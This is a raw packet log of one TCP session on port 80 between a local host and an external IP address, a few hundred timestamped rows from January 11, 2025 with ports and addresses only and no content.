Jan 11, 2025 03:59:12.726752996 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726763964 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726773977 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726800919 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.726815939 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.726887941 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726946115 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726958036 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727003098 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.727082968 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727124929 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.727149963 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727160931 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727170944 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727193117 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.727372885 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727385044 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727394104 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727404118 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727416992 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.727418900 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727443933 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.727457047 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.727689028 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727783918 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727796078 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727827072 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.727982998 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.727993011 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728003979 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728013992 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728023052 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.728071928 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.728254080 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728265047 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728276014 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728285074 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728296041 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728298903 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.728317976 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.728344917 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.728682041 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728693008 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728702068 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728746891 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.728832960 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728843927 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728852987 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.728874922 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.728904963 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.729104042 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.729115009 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.729124069 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.729139090 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.729150057 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.729156017 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.729165077 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.729171991 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.729223013 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.729593039 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.729636908 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.729677916 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.740309000 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.740366936 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.740376949 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.740442038 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.740442991 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.740489960 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.740530968 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.740542889 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.740583897 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.740730047 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.740742922 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.740751028 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.740789890 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.740880966 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.740928888 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.740992069 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.741003990 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.741040945 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.741128922 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.741139889 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.741148949 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.741178989 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.753634930 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.766485929 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.766498089 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.766570091 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.778054953 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.778085947 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.778098106 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.778155088 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.778168917 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.778245926 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.778259993 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.778270960 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.778291941 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.778311014 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.778352976 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.803865910 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.803921938 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.803932905 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.803976059 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.804023981 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804066896 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.804089069 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804135084 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804189920 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804202080 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804203033 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.804234982 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.804284096 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804397106 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804409027 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804431915 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.804555893 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804567099 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804579020 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804591894 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804599047 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.804620028 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.804742098 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.804790974 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.841316938 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841397047 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841409922 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841422081 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841443062 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841456890 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841494083 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.841537952 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.841634035 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841655016 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841667891 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841702938 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.841819048 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841855049 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.841881990 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841963053 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841975927 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.841998100 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.842076063 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842112064 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.842171907 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842184067 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842216015 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.842250109 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842363119 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842402935 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.842434883 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842449903 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842518091 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.842530012 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842540979 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842573881 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.842678070 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842760086 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842772961 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842802048 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.842853069 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842904091 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.842947960 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842961073 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842976093 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.842993975 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.843202114 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843216896 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843229055 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843242884 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843245029 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.843256950 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843272924 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.843295097 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.843733072 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843745947 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843759060 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843800068 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.843888044 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843899965 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843910933 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843925953 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.843928099 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.843946934 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.844147921 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844161034 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844171047 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844178915 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844192028 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844201088 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.844227076 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.844258070 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.844583988 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844664097 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844676018 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844703913 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.844813108 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844831944 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844845057 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.844845057 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844861984 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.844880104 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.845063925 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.845077991 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.845114946 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.845208883 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.845222950 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.845235109 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.845253944 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.845277071 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.845554113 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.845598936 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.845611095 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.845637083 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.845762968 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.845776081 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.845788002 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.845799923 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.845824957 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.845943928 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846081018 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846093893 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846106052 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846118927 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846120119 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.846138954 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846154928 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.846194983 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.846499920 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846569061 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846580982 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846604109 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.846709013 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846720934 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846735954 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846741915 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.846769094 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.846882105 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846894026 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846906900 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846919060 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846935034 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.846935034 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846951008 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.846955061 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.846992016 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.847446918 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.847498894 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.847511053 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.847537041 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.847629070 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.847640991 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.847654104 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.847662926 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.847691059 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.847754955 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.865135908 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.865155935 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.865181923 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.865194082 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.865204096 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.865206957 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.865212917 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.865227938 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.865241051 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.865247965 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.865278006 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.865298986 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.890790939 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.890826941 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.890845060 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.890877962 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.890923977 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.890928984 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.890940905 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.890978098 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.891011953 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891022921 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891060114 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.891083956 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891164064 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891175032 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891185045 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891204119 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891213894 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.891232014 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.891362906 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891375065 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891386986 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891411066 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.891422987 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.891493082 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891504049 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891515017 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891541958 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.891643047 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891654968 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891666889 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891678095 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.891686916 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.891705990 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.910830975 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.918930054 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.928406954 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928428888 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928440094 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928493023 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.928514004 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.928524971 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928632975 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928643942 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928656101 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928666115 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928673983 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.928694963 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.928843021 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928853035 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928863049 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928874016 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.928888083 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.928910017 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.929064035 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929074049 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929158926 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.929203987 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929214954 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929224968 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929253101 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.929270983 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.929393053 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929404020 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929414034 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929452896 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.929522991 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929563046 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.929631948 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929644108 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929668903 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929681063 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929692030 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929692984 CET	49735	80	192.168.2.4	193.143.1.205
